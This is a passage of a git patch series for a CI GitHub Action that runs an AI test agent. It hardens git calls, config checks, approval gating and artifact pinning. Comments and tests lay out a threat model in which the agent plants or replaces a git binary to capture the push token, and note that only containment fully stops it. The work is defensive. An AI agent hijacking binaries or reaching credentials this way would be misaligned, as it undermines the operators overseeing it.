candidates.find((p) => exists(p) && !canWrite(p)) +} + /** * The git config an ordinary `actions/checkout` leaves behind. Anything else * means the repository's config was changed after the checkout. diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index 523bf66..b134016 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -10,6 +10,7 @@ import { isSameRepo, pushCredentialEnv, unexpectedConfigKeys, + trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -466,7 +467,8 @@ describe("our own git commands must not carry secrets or run hooks", () => { test("what git actually needs survives", () => { const got = gitEnvFrom(dirty) - assert.equal(got.PATH, "/usr/bin") + // PATH is pinned rather than inherited — see the hijack test below. + assert.equal(got.PATH, "/usr/bin:/bin") assert.equal(got.HOME, "/home/runner") assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") }) @@ -483,7 +485,7 @@ describe("our own git commands must not carry secrets or run hooks", () => { assert.equal(got.SSH_ASKPASS, "") assert.equal(got.GIT_ATTR_NOSYSTEM, "1") // Nothing was inherited: every key is one we set deliberately. - assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS")) + assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS" || k === "PATH")) } }) @@ -645,3 +647,34 @@ describe("the credential travels in the environment, not in argv", () => { assert.deepEqual(pushCredentialEnv(undefined, undefined), {}) }) }) + +/** + * The agent writes to the runner as the same user we do, and several + * directories on the default PATH are writable by that user. A planted `git` + * earlier on PATH would be handed the installation token. + */ +describe("git itself must be the real git", () => { + const exists = (p) => ["/usr/bin/git", "/bin/git"].includes(p) + const notWritable = () => false + + test("an absolute, root-owned path is used, never a bare name", () => { + assert.equal(trustedGitPath({ exists, canWrite: notWritable }), "/usr/bin/git") + }) + + test("a candidate WE can write is not trusted — that is the hijack", () => { + const canWriteUsrBin = (p) => p === "/usr/bin/git" + assert.equal(trustedGitPath({ exists, canWrite: canWriteUsrBin }), "/bin/git") + }) + + test("nothing trustworthy means nothing, not a fallback to PATH", () => { + // A fallback to bare "git" would reintroduce exactly the hole this + // closes, so the caller is made to handle the absence instead. + assert.equal(trustedGitPath({ exists: () => false, canWrite: notWritable }), undefined) + assert.equal(trustedGitPath({ exists, canWrite: () => true }), undefined) + }) + + test("PATH is pinned, not inherited — a planted directory cannot come along", () => { + const got = gitEnvFrom({ PATH: "/home/runner/.local/bin:/usr/bin" }) + assert.equal(got.PATH, "/usr/bin:/bin") + }) +}) From 3522e2ef88d1821022ec9c09a2cc853442a901b4 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:00:46 +0530 Subject: [PATCH 07/49] docs: record what the pinned git binary does not survive Co-Authored-By: Claude Opus 5 --- test-companion/src/push-work.mjs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index d2ffcac..f92702e 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -363,6 +363,14 @@ export function gitEnvFrom(env = {}) { * "Sure of" means: it exists, and WE cannot write it. A binary this process * could overwrite is a binary the agent could have overwritten. * + * What this does NOT survive: on a GitHub-hosted runner the job's user has + * passwordless sudo, so an agent that chose to could replace /usr/bin/git + * itself and the replacement would pass this check. Nothing inside this + * process can close that — the same access reaches our own source, node, and + * the token in our memory. It closes with containment, by running the agent + * somewhere that does not also hold the token, or by moving the commit to a + * job that never shares a filesystem with it. Both are bigger than this file. + * * There is deliberately no fallback to the bare name. Falling back would * reinstate the hole on exactly the machines where it matters, so the caller * handles the absence instead — and for us that means skipping the commit, From c5dd7e3d342263bc9722f231b41f07940f8dbaeb Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:05:56 +0530 Subject: [PATCH 08/49] fix: an approved rca/fix/verdict lost the build it was meant to read "go" names no job, so the job comes from the proposal being approved. That assignment sat below the lookup that needs it, so asking worked and approving did not. Moved to where the workflow is final for both paths. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 61 ++++++++++++++++------------ test-companion/test/imports.test.mjs | 37 +++++++++++++++++ 2 files changed, 72 insertions(+), 26 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index f453a44..4401bcf 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -539,32 +539,6 @@ function main() { // by comment must not be a way around the repository's own settings. if (intent.workflow) plan.workflow = intent.workflow - // `rca`, `fix` and `verdict` need to know WHICH build failed. A - // build_failed trigger is handed the run; a COMMENT is not, so these - // three used to fail on the first comment with "Could not run" — while - // we advertise all three by name. - // - // The newest red run on this commit is what a person means by "the - // failure". Only looked up when the job needs it and the caller has - // not already said. - if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { - const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) - const failed = latestFailedRun(runs?.workflow_runs, { - selfRunId: env.GITHUB_RUN_ID, - selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, - }) - if (!failed) { - // Nothing red is an answer, not an error. - replyOnPr( - plan.context.pr, - `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, - ) - finishSkipped("nothing-failed", plan.workflow) - } - plan.context.build = failed - notice(`Test Companion: reading the failure from ${failed}`) - } - const bindings = bindingsDoc const binding = pickBinding(bindings, intent.workflow) @@ -679,6 +653,41 @@ function main() { // writes nothing, and its report is what the reviewer approves. if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" if (gate.preview || intent.preview) plan.preview = true + + // THIS RUNS LAST, and it has to. + // + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a COMMENT is not, so these + // three used to fail on the first comment with "Could not run" — while + // we advertise all three by name. + // + // Last, because the workflow is not final until the approval handling + // above has run: "go" names no job, so the job comes from the proposal + // being approved. With this block higher up, asking for an rca worked + // and APPROVING it did not — the CLI was spawned with no build and + // refused it with `rca requires --context build=`. Live run + // 41048725625. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from ${failed}`) + } } // FR-13: no settings file means a clean pass and the file they need. Checked diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index 65d1948..dd58cc3 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -80,3 +80,40 @@ describe("every src module is reachable", () => { } }) }) + +/** + * Found by a live run, run 41048725625. Asking "@test-companion explain why + * the contract check is failing" worked: the Action found the red build and + * passed it to the CLI. Replying "go" to the proposal it put up did NOT — + * the CLI was spawned with no build at all and died with + * `rca requires --context build=`. + * + * The cause is pure ordering. `rca`, `fix` and `verdict` need to know which + * build failed, and the lookup is guarded by `NEEDS_A_BUILD.has(plan.workflow)`. + * On an approval, the workflow is not known from the comment — "go" names no + * job — it comes from the proposal we are approving, and that assignment sat + * BELOW the lookup. So the lookup ran against the wrong workflow, decided no + * build was needed, and the run broke at the last step of the feature. + * + * Ordering inside one long procedure is not something the pure modules can + * pin, so it is pinned here. + */ +describe("main.mjs — the failing build is resolved after the workflow is final", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("the proposal pins the workflow BEFORE the build is looked up", () => { + assert.ok( + at("plan.workflow = waiting.workflow") < at("NEEDS_A_BUILD.has(plan.workflow)"), + "an approved rca/fix/verdict would be spawned with no build, and the CLI refuses it", + ) + }) + + test("there is exactly one build lookup, so the two paths cannot drift", () => { + const calls = main.split("NEEDS_A_BUILD.has(plan.workflow)").length - 1 + assert.equal(calls, 1, `found ${calls} build lookups; two copies will diverge`) + }) +}) From 50f1f46542f558a11919bf76feff7edba06418ee Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:10:52 +0530 Subject: [PATCH 09/49] fix: the config check was reading our own -c flags back as tampering `git config --list` includes command-line config, so the check reported every GIT_SAFE_ARGS key as unexpected and refused to save. `--local` fixes it; the arguments are now shared between the code and a real-git test that fails without them. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 5 ++-- test-companion/src/push-work.mjs | 17 +++++++++++- test-companion/test/push-work.test.mjs | 38 ++++++++++++++++++++++++++ 3 files changed, 56 insertions(+), 4 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 4401bcf..bf15cc8 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -57,6 +57,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, @@ -974,9 +975,7 @@ function saveWork(saving, plan) { // // This runs before `git status`, because status can run a clean filter // itself — by the time we have a file list it is already too late. - // No --local: the environment has already shut out the system and global - // files, so this is the repository's own config plus any worktree config. - const unexpected = unexpectedConfigKeys(git(["config", "--list", "--name-only"]).raw) + const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) if (unexpected.length) { return [ `**Could not save this work to \`${branch}\`:** the repository's git config carries`, diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index f92702e..6f89f25 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -409,7 +409,22 @@ const EXPECTED_CONFIG = [ ] /** - * The keys in `git config --list --name-only` output that an ordinary + * How to read the repository's own config. + * + * `--local` is load-bearing: a bare `git config --list` also includes config + * given on the command line with `-c`, which is where all of GIT_SAFE_ARGS + * lives. Without it the check reads our own hardening back and calls it + * tampering — live run 41049398591 refused to save, listing fifteen keys we + * had passed ourselves. + * + * Worktree config needs no separate read: turning it on requires + * `extensions.worktreeConfig` in the local file, which is not an expected key, + * so a repository using it is refused by this same check. + */ +export const CONFIG_READ_ARGS = Object.freeze(["config", "--local", "--list", "--name-only"]) + +/** + * The keys in that output that an ordinary * checkout would not have written — empty when the config is as we left it. * * Fails closed by construction: an unknown key is unexpected. diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index b134016..da72a0e 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -1,5 +1,9 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" +import { execFileSync } from "node:child_process" +import { mkdtempSync, rmSync } from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" import { shouldPushWork, changedPaths, @@ -10,6 +14,7 @@ import { isSameRepo, pushCredentialEnv, unexpectedConfigKeys, + CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, @@ -678,3 +683,36 @@ describe("git itself must be the real git", () => { assert.equal(got.PATH, "/usr/bin:/bin") }) }) + +/** + * Found by live run 41049398591, which refused to save with a list of + * fifteen "unexpected" keys — every one of them a flag WE pass in + * GIT_SAFE_ARGS. + * + * `git config --list` includes config given on the command line with `-c`. + * So the check read our own hardening back and reported it as tampering, + * which would have blocked every push the Action ever makes. + * + * This runs real git, because the bug was in what git returns, not in how + * the listing is parsed — a fixture would have agreed with the broken code. + */ +describe("the config check reads the repository, not our own flags", () => { + test("-c values do not come back as unexpected keys", () => { + const dir = mkdtempSync(join(tmpdir(), "tc-config-")) + try { + execFileSync("git", ["init", "-q", dir]) + const listing = execFileSync( + "git", + [...GIT_SAFE_ARGS, "-C", dir, ...CONFIG_READ_ARGS], + { encoding: "utf8", env: gitEnvFrom({}) }, + ) + assert.deepEqual( + unexpectedConfigKeys(listing), + [], + "a freshly initialised repository must be acceptable, with our own -c flags in play", + ) + } finally { + rmSync(dir, { recursive: true, force: true }) + } + }) +}) From 817ca5842dc2bb86fb6b10e7e9a367627caeef68 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:21:04 +0530 Subject: [PATCH 10/49] fix: a question asked in a pull request gets its answer in the pull request MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The agent's explanation was written to the result file only on a planning pass, so an rca answered into the void — the comment showed a table and no answer. And a read-only question had to be approved first, through a proposal that was empty because only test-pr writes a plan. Co-Authored-By: Claude Opus 5 --- test-companion/src/gate.mjs | 22 +++++++++++++++- test-companion/src/main.mjs | 24 ++++++++++++++++- test-companion/src/report.mjs | 9 +++++++ test-companion/test/gate.test.mjs | 34 ++++++++++++++++++++++++ test-companion/test/report.test.mjs | 41 +++++++++++++++++++++++++++++ 5 files changed, 128 insertions(+), 2 deletions(-) diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs index b4bf655..d363b88 100644 --- a/test-companion/src/gate.mjs +++ b/test-companion/src/gate.mjs @@ -38,7 +38,7 @@ const STRAIGHT_THROUGH = "straight-through" * the Go side: the cost of a needless proposal is one comment, and the cost of * the other mistake is an unreviewed run that writes. */ -export function decideGate({ intent, approval, proposal, actor } = {}) { +export function decideGate({ intent, approval, proposal, actor, workflow } = {}) { if (intent?.kind === INTENT.GO) { if (!proposal) return { action: GATE.NOTHING_TO_APPROVE } if (proposal.expired) return { action: GATE.EXPIRED } @@ -60,12 +60,32 @@ export function decideGate({ intent, approval, proposal, actor } = {}) { // would be asking permission to write nothing. if (intent?.preview) return { action: GATE.RUN, preview: true } + // The same reasoning, for a job that CANNOT write. `rca` and `verdict` + // produce an explanation and nothing else, so there is nothing for a + // reviewer to approve — and the proposal they got was literally empty, + // because only `test-pr` writes a plan to review. Asking "why did this + // fail?" cost two comments and answered on the second. + // + // The binding's own mode still applies: this decides whether to HOLD the + // run, not whether the run may write. + if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: false } + if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } // "review-before-run", and anything unrecognised, which fails closed here. return { action: GATE.PROPOSE, preview: true } } +/** + * Jobs that produce an explanation and no artefact. + * + * One list, used for three things: the gate below, whether the Action shows + * the answer in the comment, and — mirrored in + * cli/pkg/cli/commands/narrative.go — whether the CLI writes the answer to + * the result file at all. + */ +export const ANSWER_JOBS = new Set(["rca", "verdict"]) + /** FR-44's thresholds, both marked ASSUMPTION in the PRD. */ const MANY_FILES = 20 const MANY_LINES = 1000 diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index bf15cc8..d1619a1 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -17,7 +17,7 @@ import { tmpdir } from "node:os" import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" import { readIntent, INTENT } from "./intent.mjs" import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" -import { decideGate, GATE, describeChangeSize } from "./gate.mjs" +import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" import { mayAsk, describeTestRepoAccess } from "./access.mjs" import { findTicket } from "./ticket.mjs" import { childEnvFor } from "./child-env.mjs" @@ -78,6 +78,8 @@ const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") // the result. For a preview run — which refuses to save by design — this file // is the only place the generated cases survive (FR-20). const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") + + // The artifact the result is uploaded under, named here so the report can // point a reader at it by name. Must match the upload step in action.yml. const RESULT_ARTIFACT = "test-companion-result" @@ -582,6 +584,9 @@ function main() { approval: binding?.approval, proposal: waiting, actor: plan.commenter ?? plan.context.actor, + // Named by the comment when it named one, otherwise whatever the + // binding would run — the gate needs the job that will ACTUALLY run. + workflow: plan.workflow ?? binding?.workflow, }) if (gate.action === GATE.NOTHING_TO_APPROVE) { @@ -843,6 +848,15 @@ function main() { // Absent whenever the run generated nothing, which is most workflows. Its // presence is what tells the report there is something to point a reader at. const hasResult = existsSync(RESULT_FILE) + const readResult = () => { + try { + return readFileSync(RESULT_FILE, "utf8") + } catch { + // Best effort, exactly as the CLI treats writing it: a report we + // cannot read back is not worth failing a finished run over. + return undefined + } + } // FR-42: a configured write that could not happen is said out loud, naming // what is missing — a silent skip reads as "there was nothing to write". @@ -878,6 +892,14 @@ function main() { // same CLI version, which means showing it. cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + // `rca` and `verdict` leave no artefact — their result file holds the + // agent's own closing words, and that IS what was asked for. Without + // this the comment was a table saying "Succeeded" with no answer in it + // (live run 41049398591). ANSWER_JOBS mirrors the CLI's own list in + // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing + // to the file, so a mismatch shows up as an empty answer, never as + // someone else's output. + answer: hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined, failedTests, } // FR-43: a held request posts what it WOULD do and ends. The run that diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 8dae748..8bc0165 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -87,6 +87,7 @@ export function renderJobSummary({ resultArtifact, failedTests, approvalNote, + answer, workNote, extraChecks = [], warnings = [], @@ -141,6 +142,14 @@ export function renderJobSummary({ for (const [k, v] of rows) lines.push(`| ${k} | ${v} |`) lines.push("") + // For `rca` and `verdict` this IS the report — they produce no artefact, only + // an explanation. It goes directly under the table, above the run links, + // because it is the thing the person who commented actually asked for. + // Everything else leaves the view untouched: no answer, nothing rendered. + if (String(answer ?? "").trim()) { + lines.push(String(answer).trim(), "") + } + lines.push(...failureLines(failedTests)) lines.push(...producedLines(summary, resultArtifact)) diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs index e6bec53..c40aa0a 100644 --- a/test-companion/test/gate.test.mjs +++ b/test-companion/test/gate.test.mjs @@ -141,3 +141,37 @@ describe("a very large change — FR-44", () => { assert.equal(describeChangeSize({}).large, false) }) }) + +/** + * Asking "why did this fail?" cost two comments and a round trip: the first + * run posted an empty proposal — empty because only `test-pr` has a plan to + * show — and the answer only came after someone replied "go". Seen on live + * runs 41048492170 and 41049253928. + * + * The gate exists to stop WRITES. `rca` and `verdict` produce an explanation + * and nothing else, which is the same reasoning already applied one line + * above for a preview that was asked for directly. + */ +describe("decideGate — a job that only answers does not ask permission first", () => { + const asked = { kind: INTENT.WORKFLOW } + + test("rca and verdict run straight away, even with approval required", () => { + for (const workflow of ["rca", "verdict"]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.RUN, `${workflow} writes nothing; holding it asks permission to write nothing`) + } + }) + + test("everything that CAN write still waits", () => { + for (const workflow of ["generate", "fix", "test-pr", "automate", undefined]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.PROPOSE, `${workflow} can write, so it must still be reviewed`) + } + }) + + test("an explicit preview request is still honoured for them", () => { + const got = decideGate({ intent: { kind: INTENT.WORKFLOW, preview: true }, approval: "review-before-run", workflow: "rca" }) + assert.equal(got.action, GATE.RUN) + assert.equal(got.preview, true, "asking for a preview must not be overridden by this") + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index f0376c0..64a6b4e 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -855,3 +855,44 @@ describe("a proposal for a job that writes no plan file", () => { assert.match(out, /nothing here to approve/) }) }) + +/** + * Live run 41049398591. Someone asked "@test-companion explain why the + * contract check is failing". The agent answered — "CI failure analysis from + * a run link is not enabled for your account yet. Please reach out to support + * to get access." — and the pull request comment showed a table saying + * "Succeeded" and not one word of it. + * + * For `rca` and `verdict` the answer is the whole product. A reply that does + * not contain the reply is not a reply. + */ +describe("renderJobSummary — the answer is the report, for jobs that only answer", () => { + const base = { workflow: "rca", outcome: "Succeeded", summary: { event: "pr_comment", duration: "28s" } } + + test("the answer is shown, above the links rather than under them", () => { + const out = renderJobSummary({ + ...base, + runUrl: "https://github.com/acme/shop/actions/runs/1", + answer: "The contract check fails because a negative credit is accepted.", + }) + assert.match(out, /negative credit is accepted/) + assert.ok( + out.indexOf("negative credit") < out.indexOf("https://github.com/acme/shop/actions/runs/1"), + "an answer below the run link is an answer nobody reads", + ) + }) + + test("no answer changes nothing — every other job still reports as it did", () => { + const without = renderJobSummary(base) + assert.equal(renderJobSummary({ ...base, answer: "" }), without) + assert.equal(renderJobSummary({ ...base, answer: " " }), without) + assert.equal(renderJobSummary({ ...base, answer: undefined }), without) + }) + + test("the answer is quoted as prose, not squeezed into the table", () => { + const out = renderJobSummary({ ...base, answer: "Line one.\n\nLine two." }) + assert.match(out, /Line one\./) + assert.match(out, /Line two\./) + assert.ok(!/\| Line one/.test(out), "the answer must not land inside the table") + }) +}) From 8f54b7cd52254bba72199fadac677d68b3f84ac0 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:22:04 +0530 Subject: [PATCH 11/49] fix: an unheld answer job runs in preview, not merely unheld Co-Authored-By: Claude Opus 5 --- test-companion/src/gate.mjs | 9 ++++++--- test-companion/test/gate.test.mjs | 3 +++ 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs index d363b88..4fd3cb0 100644 --- a/test-companion/src/gate.mjs +++ b/test-companion/src/gate.mjs @@ -66,9 +66,12 @@ export function decideGate({ intent, approval, proposal, actor, workflow } = {}) // because only `test-pr` writes a plan to review. Asking "why did this // fail?" cost two comments and answered on the second. // - // The binding's own mode still applies: this decides whether to HOLD the - // run, not whether the run may write. - if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: false } + // PREVIEW, not just unheld. Skipping the hold is only safe because the run + // cannot write, and that has to be made true rather than assumed: these + // jobs analyse, but they run with --yolo and a shell, and a binding set to + // `mode: live` would otherwise give an unapproved run write tools. + // Preview costs nothing here — an explanation is prose either way. + if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: true } if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs index c40aa0a..9bb41e6 100644 --- a/test-companion/test/gate.test.mjs +++ b/test-companion/test/gate.test.mjs @@ -159,6 +159,9 @@ describe("decideGate — a job that only answers does not ask permission first", for (const workflow of ["rca", "verdict"]) { const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) assert.equal(got.action, GATE.RUN, `${workflow} writes nothing; holding it asks permission to write nothing`) + // Skipping the hold is only safe because the run cannot write, so + // the run is MADE unable to write rather than assumed to be. + assert.equal(got.preview, true, `an unapproved ${workflow} must not get write tools`) } }) From bc2c3ea6603390680e6f1487916036d4482b7aae Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 17:57:02 +0530 Subject: [PATCH 12/49] fix: pin upload-artifact to a commit, escape the marker sha in one place Both from GitHub Advanced Security on this PR. The pinned tag is v4.6.2. The dynamic RegExp was already escaped by both callers; the escaping now lives in the helper, because an unescaped sha quietly matches OTHER commits rather than failing loudly. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 8 ++++++-- test-companion/src/report.mjs | 23 +++++++++++++++++------ test-companion/test/report.test.mjs | 25 +++++++++++++++++++++++++ 3 files changed, 48 insertions(+), 8 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index fa91e58..395e391 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -182,7 +182,9 @@ runs: - name: Attach the report if: always() && steps.run.outputs.summary-file != '' - uses: actions/upload-artifact@v4 + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 with: name: test-companion-report path: ${{ steps.run.outputs.summary-file }} @@ -194,7 +196,9 @@ runs: # work survives, so it is attached even when the run is about to go red. - name: Attach the generated test cases if: always() && steps.run.outputs.result-file != '' - uses: actions/upload-artifact@v4 + # v4.6.2, pinned to a commit: a tag can be repointed by its owner, + # and this step runs in the customer's job with the customer's token. + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 with: name: test-companion-result path: ${{ steps.run.outputs.result-file }} diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 8bc0165..f1e234b 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -270,11 +270,22 @@ export function proposalMarkerFor(sha, requester, workflow) { * Groups: 1 = requester, 2 = workflow. Both optional, so markers written * before either field existed stay readable. * - * Pass a literal sha to pin the search to one commit, or `([0-9a-f]+)` to - * match any and capture it. + * Pass a sha to pin the search to one commit, or ANY_SHA to match any and + * capture it. + * + * The escaping is done HERE, not by the caller. Both callers did it correctly, + * but "every caller remembers" is not a property you can check — and an + * unescaped sha does not fail loudly, it quietly matches other commits: + * `a.c*d+` would also find a proposal for `abcccd`. Semgrep flagged this as a + * ReDoS risk (browserstack/github-actions#91, finding 9); the matching bug + * underneath it was the one worth closing. */ -const markerPattern = (shaPattern) => - new RegExp(``) +const ANY_SHA = Symbol("any sha") + +const markerPattern = (sha) => + new RegExp( + ``, + ) /** Regex-escape, so a sha is matched literally. */ const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") @@ -305,7 +316,7 @@ export function findProposal(comments, sha, now = Date.now()) { // stay approvable rather than becoming stuck. // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. - const re = markerPattern(escapeRe(sha)) + const re = markerPattern(sha) const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && re.test(c.body ?? "")) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) @@ -517,7 +528,7 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { export function findSupersededProposal(comments, sha) { const current = String(sha ?? "").trim() // Same pattern, sha as a group. Shared so the two cannot drift again. - const marker = markerPattern("([0-9a-f]+)") + const marker = markerPattern(ANY_SHA) const stale = (comments ?? []).filter((c) => { if (c?.user?.type !== "Bot") return false const found = marker.exec(c.body ?? "") diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 64a6b4e..95d9889 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -896,3 +896,28 @@ describe("renderJobSummary — the answer is the report, for jobs that only answ assert.ok(!/\| Line one/.test(out), "the answer must not land inside the table") }) }) + +/** + * Semgrep flagged `new RegExp(shaPattern)` as a possible ReDoS (finding 9 on + * browserstack/github-actions#91). Both callers already escaped, so the + * finding was a false positive — but it was only false because every caller + * remembered. These pin that it is now the helper's job, which is what makes + * the answer stay true. + */ +describe("a proposal marker search is built from literals, never from raw input", () => { + test("a sha with regex metacharacters matches itself and nothing else", () => { + const nasty = "a.c*d+" + const body = `` + assert.ok(findProposal([{ user: { type: "Bot" }, body, id: 1 }], nasty), "an escaped sha must still match itself") + // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. + const other = "" + assert.equal(findProposal([{ user: { type: "Bot" }, body: other, id: 2 }], nasty), undefined) + }) + + test("a long run of repeats does not hang the search", () => { + // The shape ReDoS reports are about. Linear here, so it returns at once. + const started = Date.now() + findProposal([{ user: { type: "Bot" }, body: `/ -const markerPattern = (sha) => - new RegExp( - ``, - ) - -/** Regex-escape, so a sha is matched literally. */ -const escapeRe = (v) => String(v).replace(/[.*+?^${}()|[\]\\]/g, "\\$&") +/** The marker's fields, or undefined when the comment has none. */ +const readMarker = (body) => { + const found = MARKER.exec(String(body ?? "")) + return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined +} /** The proposal comment: what the run would do, and how to let it — FR-43. */ export function renderProposal(body, sha, requester, workflow) { @@ -316,18 +316,19 @@ export function findProposal(comments, sha, now = Date.now()) { // stay approvable rather than becoming stuck. // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. - const re = markerPattern(sha) - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && re.test(c.body ?? "")) + const want = String(sha ?? "").trim() + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) const age = now - Date.parse(newest.created_at ?? "") + const mark = readMarker(newest.body) return { id: newest.id, expired: !(age <= PROPOSAL_WINDOW_MS), - requester: re.exec(newest.body ?? "")?.[1], + requester: mark?.requester, // The job the person actually read and approved. Undefined on a // proposal written before the marker carried one. - workflow: re.exec(newest.body ?? "")?.[2], + workflow: mark?.workflow, // The run has to READ the approved plan to carry it out (FR-43), so the // body travels with the decision rather than being fetched again. body: newest.body ?? "", @@ -527,19 +528,18 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { */ export function findSupersededProposal(comments, sha) { const current = String(sha ?? "").trim() - // Same pattern, sha as a group. Shared so the two cannot drift again. - const marker = 